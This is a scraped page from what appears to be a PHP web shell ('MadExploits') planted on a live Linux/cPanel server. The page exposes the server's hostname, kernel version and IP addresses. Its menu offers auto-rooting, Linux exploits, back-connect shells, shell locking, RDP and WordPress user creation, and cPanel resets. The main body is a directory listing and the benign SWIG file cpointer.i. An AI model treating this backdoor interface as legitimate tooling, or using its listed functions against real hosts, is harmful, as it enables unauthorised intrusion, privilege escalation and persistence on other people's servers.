Linux vps-4302913.novaexata.com.br 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.28
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
swig /
2.0.10 /
[ HOME SHELL ]
Name
Size
Permission
Action
allegrocl
[ DIR ]
drwxr-xr-x
cffi
[ DIR ]
drwxr-xr-x
chicken
[ DIR ]
drwxr-xr-x
clisp
[ DIR ]
drwxr-xr-x
csharp
[ DIR ]
drwxr-xr-x
d
[ DIR ]
drwxr-xr-x
gcj
[ DIR ]
drwxr-xr-x
go
[ DIR ]
drwxr-xr-x
guile
[ DIR ]
drwxr-xr-x
java
[ DIR ]
drwxr-xr-x
lua
[ DIR ]
drwxr-xr-x
modula3
[ DIR ]
drwxr-xr-x
mzscheme
[ DIR ]
drwxr-xr-x
ocaml
[ DIR ]
drwxr-xr-x
octave
[ DIR ]
drwxr-xr-x
perl5
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxr-xr-x
pike
[ DIR ]
drwxr-xr-x
python
[ DIR ]
drwxr-xr-x
r
[ DIR ]
drwxr-xr-x
ruby
[ DIR ]
drwxr-xr-x
std
[ DIR ]
drwxr-xr-x
tcl
[ DIR ]
drwxr-xr-x
typemaps
[ DIR ]
drwxr-xr-x
uffi
[ DIR ]
drwxr-xr-x
allkw.swg
705
B
-rw-r--r--
attribute.i
496
B
-rw-r--r--
carrays.i
2.58
KB
-rw-r--r--
cdata.i
2.17
KB
-rw-r--r--
cmalloc.i
2.3
KB
-rw-r--r--
constraints.i
6.88
KB
-rw-r--r--
cpointer.i
3.47
KB
-rw-r--r--
cstring.i
324
B
-rw-r--r--
cwstring.i
265
B
-rw-r--r--
exception.i
7.77
KB
-rw-r--r--
intrusive_ptr.i
2.75
KB
-rw-r--r--
inttypes.i
2.57
KB
-rw-r--r--
math.i
2.04
KB
-rw-r--r--
pointer.i
294
B
-rw-r--r--
runtime.swg
1.21
KB
-rw-r--r--
shared_ptr.i
2.1
KB
-rw-r--r--
std_except.i
1.95
KB
-rw-r--r--
stdint.i
2.31
KB
-rw-r--r--
stl.i
249
B
-rw-r--r--
swig.swg
23.57
KB
-rw-r--r--
swigarch.i
1.54
KB
-rw-r--r--
swigerrors.swg
509
B
-rw-r--r--
swiginit.swg
7.88
KB
-rw-r--r--
swiglabels.swg
3.11
KB
-rw-r--r--
swigrun.i
256
B
-rw-r--r--
swigrun.swg
16.49
KB
-rw-r--r--
swigwarn.swg
13.2
KB
-rw-r--r--
swigwarnings.swg
6.83
KB
-rw-r--r--
wchar.i
309
B
-rw-r--r--
windows.i
4.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cpointer.i
/* ----------------------------------------------------------------------------- * cpointer.i * * SWIG library file containing macros that can be used to manipulate simple * pointer objects. * ----------------------------------------------------------------------------- */ /* ----------------------------------------------------------------------------- * %pointer_class(type,name) * * Places a simple proxy around a simple type like 'int', 'float', or whatever. * The proxy provides this interface: * * class type { * public: * type(); * ~type(); * type value(); * void assign(type value); * }; * * Example: * * %pointer_class(int, intp); * * int add(int *x, int *y) { return *x + *y; } * * In python (with proxies) * * >>> a = intp() * >>> a.assign(10) * >>> a.value() * 10 * >>> b = intp() * >>> b.assign(20) * >>> print add(a,b) * 30 * * As a general rule, this macro should not be used on class/structures that * are already defined in the interface. * ----------------------------------------------------------------------------- */ %define %pointer_class(TYPE, NAME) %{ typedef TYPE NAME; %} typedef struct { } NAME; %extend NAME { #ifdef __cplusplus NAME() { return new TYPE(); } ~NAME() { if ($self) delete $self; } #else NAME() { return (TYPE *) calloc(1,sizeof(TYPE)); } ~NAME() { if ($self) free($self); } #endif } %extend NAME { void assign(TYPE value) { *$self = value; } TYPE value() { return *$self; } TYPE * cast() { return $self; } static NAME * frompointer(TYPE *t) { return (NAME *) t; } } %types(NAME = TYPE); %enddef /* ----------------------------------------------------------------------------- * %pointer_functions(type,name) * * Create functions for allocating/deallocating pointers. This can be used * if you don't want to create a proxy class or if the pointer is complex. * * %pointer_functions(int, intp) * * int add(int *x, int *y) { return *x + *y; } * * In python (with proxies) * * >>> a = copy_intp(10) * >>> intp_value(a) * 10 * >>> b = new_intp() * >>> intp_assign(b,20) * >>> print add(a,b) * 30 * >>> delete_intp(a) * >>> delete_intp(b) * * ----------------------------------------------------------------------------- */ %define %pointer_functions(TYPE,NAME) %{ static TYPE *new_##NAME() { %} #ifdef __cplusplus %{ return new TYPE(); %} #else %{ return (TYPE *) calloc(1,sizeof(TYPE)); %} #endif %{} static TYPE *copy_##NAME(TYPE value) { %} #ifdef __cplusplus %{ return new TYPE(value); %} #else %{ TYPE *obj = (TYPE *) calloc(1,sizeof(TYPE)); *obj = value; return obj; %} #endif %{} static void delete_##NAME(TYPE *obj) { %} #ifdef __cplusplus %{ if (obj) delete obj; %} #else %{ if (obj) free(obj); %} #endif %{} static void NAME ##_assign(TYPE *obj, TYPE value) { *obj = value; } static TYPE NAME ##_value(TYPE *obj) { return *obj; } %} TYPE *new_##NAME(); TYPE *copy_##NAME(TYPE value); void delete_##NAME(TYPE *obj); void NAME##_assign(TYPE *obj, TYPE value); TYPE NAME##_value(TYPE *obj); %enddef /* ----------------------------------------------------------------------------- * %pointer_cast(type1,type2,name) * * Generates a pointer casting function. * ----------------------------------------------------------------------------- */ %define %pointer_cast(TYPE1,TYPE2,NAME) %inline %{ TYPE2 NAME(TYPE1 x) { return (TYPE2) x; } %} %enddef
Close